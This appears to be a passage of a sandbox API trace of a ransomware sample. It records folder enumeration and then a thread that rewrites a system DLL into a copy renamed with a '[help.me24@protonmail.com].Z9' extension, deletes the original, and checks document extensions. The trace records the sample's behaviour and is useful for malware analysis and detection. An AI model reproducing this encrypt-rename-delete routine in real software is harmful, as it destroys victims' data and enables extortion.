	[0096.909] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68e9ee55, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68e9ee55, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68e9ee55, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x51c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1
	[0096.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.909] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab021835, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI2247~1.0_N")) returned 1
	[0096.911] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.911] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd528e480, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd528e480, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd528e480, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0096.911] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.911] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0096.911] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0096.911] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.911] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab088494, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIECF5~1.0_X")) returned 1
	[0096.912] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.912] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0096.914] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.914] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53994f2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd53994f2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd53994f2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0096.915] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.915] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0096.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.916] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08d12b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0096.916] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0096.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.916] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab08dbee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0097.027] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.739] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xcc36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Package.StoreAssociation.xml", cAlternateFileName="")) returned 1
	[0097.742] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.742] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0097.744] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.744] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08fb6f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0097.744] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0097.744] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.744] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0097.744] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.744] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0097.744] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0097.744] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0097.745] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d296410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIEB19~1.SCA")) returned 1
	[0097.774] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.774] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0097.786] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.786] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0
	[0097.787] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0097.787] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.787] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9355ef2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0097.788] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.788] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0097.788] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0097.790] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c531351, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIE745~1.0_X")) returned 1
	[0097.792] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.792] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0097.800] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.800] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d080313, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab39d704, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d18b39b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0097.805] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.805] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d18b39b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab446b84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileIcons", cAlternateFileName="FILEIC~1")) returned 1
	[0097.808] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.808] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d18b39b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab446b84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileIcons", cAlternateFileName="FILEIC~1")) returned 0
	[0097.808] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0097.808] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.808] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfe80d855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe80d855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0097.871] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.871] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1d7849, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d1d7849, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0097.871] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0097.873] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_N")) returned 1

Thread:
	id = 17
	os_tid = 0x1128

	[0069.255] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3122038
	[0069.255] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3132040
	[0069.256] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559470
	[0069.256] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e028
	[0069.256] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5594d0
	[0069.256] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x3a10020
	[0069.258] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5594e8
	[0069.259] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5594e8, Size=0x20) returned 0x53eba8
	[0069.259] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5594e8
	[0069.259] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5594e8, Size=0x20) returned 0x53ebf8
	[0069.259] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0069.259] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0069.259] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff50 | out: OldValue=0x350ff50*=0x0) returned 1
	[0069.259] lstrlenW (lpString="kernel32.dll") returned 12
	[0069.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eba8 | out: hHeap=0x500000) returned 1
	[0069.259] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0069.259] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ebf8 | out: hHeap=0x500000) returned 1
	[0069.259] Sleep (dwMilliseconds=0x64) 
	[0069.704] Sleep (dwMilliseconds=0x64) 
	[0069.999] Sleep (dwMilliseconds=0x64) 
	[0070.289] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0070.290] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0070.290] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.291] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=144072) returned 1
	[0070.291] CloseHandle (hObject=0x328) returned 1
	[0070.291] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20
	[0070.292] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.292] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.292] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.293] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.293] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.293] GetLastError () returned 0x0
	[0070.293] ReadFile (in: hFile=0x328, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x232c8, lpOverlapped=0x0) returned 1
	[0070.418] WriteFile (in: hFile=0x32c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x232d0, lpOverlapped=0x0) returned 1
	[0070.421] ReadFile (in: hFile=0x328, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.421] WriteFile (in: hFile=0x32c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0070.421] SetEndOfFile (hFile=0x32c) returned 1
	[0070.422] CloseHandle (hObject=0x32c) returned 1
	[0070.425] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.425] SetEndOfFile (hFile=0x328) returned 1
	[0070.427] CloseHandle (hObject=0x328) returned 1
	[0070.427] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0070.428] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1
	[0070.928] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.928] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0070.928] lstrlenW (lpString=".doc") returned 4
	[0070.928] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.928] lstrlenW (lpString=".docx") returned 5
	[0070.928] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0070.928] lstrlenW (lpString=".pdf") returned 4
	[0070.928] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.928] lstrlenW (lpString=".xls") returned 4
	[0070.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.928] lstrlenW (lpString=".xlsx") returned 5
